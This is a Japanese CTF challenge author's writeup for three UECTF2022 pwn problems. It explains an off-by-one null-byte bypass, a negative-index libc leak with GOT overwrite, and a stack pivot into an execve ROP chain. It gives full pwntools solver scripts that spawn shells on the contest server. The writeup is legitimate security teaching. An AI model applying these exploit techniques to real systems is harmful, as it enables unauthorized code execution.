UECTF2022 作問者Writeup

UECTF2022で出題した問題について解説します。少し丁寧に書きました。

guess (19 Solves)

ソースコード(一部)

int main() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    char buf[32];
    char pw[32];

    secret(pw);

    printf("Guess my password\n> ");
    scanf("%32s", buf);
    if(strncmp(pw, buf, sizeof(pw)) == 0) {
        puts("Correct!!!");
        win();
    } else {
        puts("Wrong.");
    }
    return 0;
}

パスワードを当てることでフラグが表示されますが、普通に当てるのはほぼ不可能です。
入力の部分に注目します。

    scanf("%32s", buf);

buf[32]に対して32文字読み込んでいます。32文字入力するとどうなるでしょうか。
strncmpブレークポイントを張って見てみます。

pwndbg> b *main+159
Breakpoint 1 at 0x13a9
pwndbg> r
Guess my password
> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
...
 ► 0x5555555553a9 <main+159>    call   strncmp@plt                <strncmp@plt>
        s1: 0x7fffffffde90 ◂— 0x7361705f656b6100
        s2: 0x7fffffffde70 ◂— 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'
        n: 0x20
...
pwndbg> x/s 0x7fffffffde90
0x7fffffffde90: ""
pwndbg> x/s 0x7fffffffde90+1
0x7fffffffde91: "ake_password"

第一引数であるpwの最初の1バイトが\0で上書きされてしまっていることがわかります。
scanfは入力の末尾に\0を書き込みます。bufに32文字入力することでbufの範囲外に\0を書き込んでしまいます。bufの下にはpwがあるためpwの最初の1バイトが\0に上書きされます。

pwndbg> x/6gx 0x7fffffffde70
0x7fffffffde70: 0x6161616161616161      0x6161616161616161 <- buf
0x7fffffffde80: 0x6161616161616161      0x6161616161616161 
0x7fffffffde90: 0x7361705f656b6100      0x00000064726f7773 <- pw

strncmp\0以降の比較は行わないため、以下のような入力でstrncmpは0を返しフラグが表示されます。32文字ちょうど入力する必要があるため改行文字を無効にしています。

$ echo -en '\0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' | nc uectf.uec.tokyo 9001

flag: UECTF{Wow_are_you_Esper?}

rot13 (6 Solves)

Partial RELROでPIE無効です。

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

以下の部分が脆弱です。

    int index = get_num("index: ");
    if(index >= MAX_NUM || list[index] == NULL) {
        puts("Invalid!");
        exit(EXIT_FAILURE);
    }

すべての操作でindexを負にでき、listの範囲外にアクセスすることができます。

libc leak

この問題ではフラグを入手するためにライブラリの関数を使う必要があります。ライブラリの関数を使うためには、ライブラリがどこのアドレスにマッピングされているのか知る必要があります。ここではGOT(Global Offset Table)を用いてライブラリがマッピングされているアドレスを特定します。
GOTには以下のように1度呼び出された後にアドレスが書き込まれます。

pwndbg> got

GOT protection: Partial RELRO | GOT functions: 11
 
[0x404018] free@GLIBC_2.2.5 -> 0x7ffff7e666d0 (free) ◂— endbr64 
[0x404020] puts@GLIBC_2.2.5 -> 0x7ffff7e50420 (puts) ◂— endbr64 
[0x404028] __stack_chk_fail@GLIBC_2.4 -> 0x401050 ◂— endbr64 
[0x404030] printf@GLIBC_2.2.5 -> 0x7ffff7e2dc90 (printf) ◂— endbr64 
[0x404038] strrchr@GLIBC_2.2.5 -> 0x401070 ◂— endbr64 
[0x404040] read@GLIBC_2.2.5 -> 0x401080 ◂— endbr64 
[0x404048] calloc@GLIBC_2.2.5 -> 0x7ffff7e67b10 (calloc) ◂— endbr64 
[0x404050] malloc@GLIBC_2.2.5 -> 0x7ffff7e660e0 (malloc) ◂— endbr64 
[0x404058] setvbuf@GLIBC_2.2.5 -> 0x7ffff7e50ce0 (setvbuf) ◂— endbr64 
[0x404060] __isoc99_scanf@GLIBC_2.7 -> 0x7ffff7e2f0b0 (__isoc99_scanf) ◂— endbr64 
[0x404068] exit@GLIBC_2.2.5 -> 0x4010d0 ◂— endbr64 

ライブラリ内の関数のオフセットは一定のため、このうちの1つでもアドレスがわかると他の関数のアドレスもわかります。
さて、どのようにアドレスを特定するかですが、前述の脆弱性を使います。listの範囲外を調べてみるとlist[-71]にアドレスがあることがわかります。これはlist[-6]のアドレスです。したがって、index=-71としてeditで書き込みを行うとlist[-6]に書き込まれます。

pwndbg> r
name: a
Hello a!
1. create
2. run
3. show
4. edit
5. exit
> 4
index: -71
data: aaaaaaaa
> ^C
...
pwndbg> set $list=(char **)0x4052d0
pwndbg> p $list[-6]
$1 = 0x6161616161616161 <error: Cannot access memory at address 0x6161616161616161>

index=-71としてeditでGOTのアドレスを書き込み、index=-6としてshowするとライブラリのアドレスが判明します。pwntoolsを使って書くと以下のようになります。

from pwn import *

e = ELF('./chall')
libc = ELF('./libc-2.31.so')

...

edit(-71, p64(e.got['puts']))
show(-6)
libc.address = u64(p.recvline()[:-1].ljust(8, b'\0')) - libc.symbols['puts']
print(hex(libc.address))

GOT Overwrite

ライブラリのアドレスを特定できたところでどのようにフラグを入手するかですが、system("/bin/sh")でシェルを起動するのが手っ取り早いです。シェルを起動するためにGOT Overwriteという手法を使います。
このプログラムはPartial RELROで、GOTに書き込むことができます。GOTを書き換えることでプログラム内でその関数を呼んだ際に別の処理を実行させることができます。これと前述の脆弱性を使うことでsystem("/bin/sh")を実行できます。
先ほどlibc leakの際にlist[-6]にGOTのアドレスを書き込みました。この状態でindex=-6としてeditすることでGOTに任意の値を書き込むことができます。どの関数のGOTを書き換えるのがよいでしょうか。
showに注目します。

void show() {
    int index = get_num("index: ");
    if(index >= MAX_NUM) {
        puts("Invalid!");
        exit(EXIT_FAILURE);
    }
    puts(list[index]);
}

putsのGOTをsystemに書き換えて、createで"/bin/sh"を作りshowすることでsystem("/bin/sh")を実行できます。
最終的なsolverは以下のようになります。(こんな感じでtcache_perthread_struct構造体のポインタを使うことを想定していたのですが、nameとcreateのmallocのサイズを同じにしてしまったため、ほとんどの人がnameの領域を再利用して解いてましたね…)

from pwn import *

sendlineafter = lambda p, x, y: p.sendlineafter(x, y)
sendafter = lambda p, x, y: p.sendafter(x, y)
sendline = lambda p, x: p.sendline(x)
send = lambda p, x: p.send(x)

e = ELF('./chall')
libc = ELF('./libc-2.31.so')

p = remote('uectf.uec.tokyo', 9003)

def create(i, data):
    sendlineafter(p, b'> ', b'1')
    sendlineafter(p, b': ', str(i).encode())
    sendlineafter(p, b': ', data)

def show(i):
    sendlineafter(p, b'> ', b'3')
    sendlineafter(p, b': ', str(i).encode())

def edit(i, data):
    sendlineafter(p, b'> ', b'4')
    sendlineafter(p, b': ', str(i).encode())
    sendlineafter(p, b': ', data)

sendlineafter(p, b': ', b'A')

# libc leak
edit(-71, p64(e.got['puts']))
show(-6)
libc.address = u64(p.recvline()[:-1].ljust(8, b'\0')) - libc.symbols['puts']
print(hex(libc.address))

# GOT Overwrite
edit(-6, p64(libc.symbols['system']))
create(0, b'/bin/sh')
show(0)
p.interactive()

flag: UECTF{ROT13_stands_for_ROTate_by_13_places}

buffer_overflow_2 (6 Solves)

ソースコード

#include <stdio.h>
#include <unistd.h>

void vuln() {
    char buf[0x60];
    printf("> ");
    read(STDIN_FILENO, buf, 0x80);
}

int main() {
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stdin, NULL, _IONBF, 0);

    vuln();
    puts("Bye!");
    return 0;
}

バッファオーバーフローがあります。
フラグを入手するために今回もrot13と同様にシェルの起動を目指します。

ROP (Return Oriented Programming)

バッファオーバーフローがある際はROPという手法が有効です。これはret命令を利用して任意の処理を連続して実行させる手法です。
ROPでsystem("/bin/sh")でシェル起動といきたいところですが、このプログラムはstatically linkedです。

$ file ./chall 
./chall: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, BuildID[sha1]=c2b6d36ed7073f9a99218aa4d5b221ca167701e0, for GNU/Linux 3.2.0, not stripped

このような場合はsyscall命令を利用してexecve("/bin/sh", NULL, NULL)を実行するのがいいです。これを実行するにはRAX, RDI, RSI, RDXの4つのレジスタを設定する必要があります。しかし、今回のバッファオーバーフローは0x20バイトで、リターンアドレスから考えると0x18バイトしか猶予がなく、普通には実行できません。

Stack Pivot

ここではStack Pivotという手法を紹介します。
別の領域に書き込みを行い、そこでROPする方法を考えます。vuln関数の最後の方に注目します。

   0x0000000000401d93 <+46>:    call   0x450bf0 <read>
   0x0000000000401d98 <+51>:    nop
   0x0000000000401d99 <+52>:    leave  
   0x0000000000401d9a <+53>:    ret 

ret命令にブレークポイントを張ってレジスタの値を見てみます。

pwndbg> b *vuln+53
Breakpoint 1 at 0x401d9a
pwndbg> r
> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
...
 RDX  0x80
 RDI  0x0
 RSI  0x7fffffffddc0
...
*RBP  0x6161616161616161 ('aaaaaaaa')
 RSP  0x7fffffffde28 ◂— 'aaaaaaaaaaaaaaaaaaaaaaaa'
...

0x20バイトのバッファオーバーフローによって、RSIに書き込み可能領域を設定し、readを呼び出しているvuln+46に戻ることで、指定した領域に0x80バイトの書き込みを行うことができます。また、vuln+52にあるleave命令によって書き換えたsaved rbpの値+8がRSPの値となります。このようにRSPに任意の値を設定し、スタックを切り替える手法をStack Pivotといいます。
バッファオーバーフローによってsaved rbpを指定した領域のアドレスに書き換え、readでROP chainをその領域に書き込むことでROPを実行できます。
solverは以下のようになります。

from pwn import *

p = remote('uectf.uec.tokyo', 9002)
# p = process('./chall')
e = ELF('./chall')

pop_rdi = 0x4018c2
pop_rdx = 0x4017cf
pop_rax = 0x4516a7
pop_rsi = 0x40f20e
syscall = 0x4012d3
writable = e.bss() + 0x100

payload = b'A' * 0x60
payload += p64(writable)    # saved rbp
payload += p64(pop_rsi)     # return address
payload += p64(writable)    # RSI = writable
payload += p64(e.symbols['vuln']+46)
p.sendafter(b'> ', payload)

payload = b'/bin/sh\0'
# execve("/bin/sh", NULL, NULL)
payload += p64(pop_rax)
payload += p64(59)
payload += p64(pop_rdi)
payload += p64(writable)
payload += p64(pop_rsi)
payload += p64(0)
payload += p64(pop_rdx)
payload += p64(0)
payload += p64(syscall)
p.sendline(payload)
p.interactive()

flag: UECTF{B3l13v3_0ur_Fu7ur3}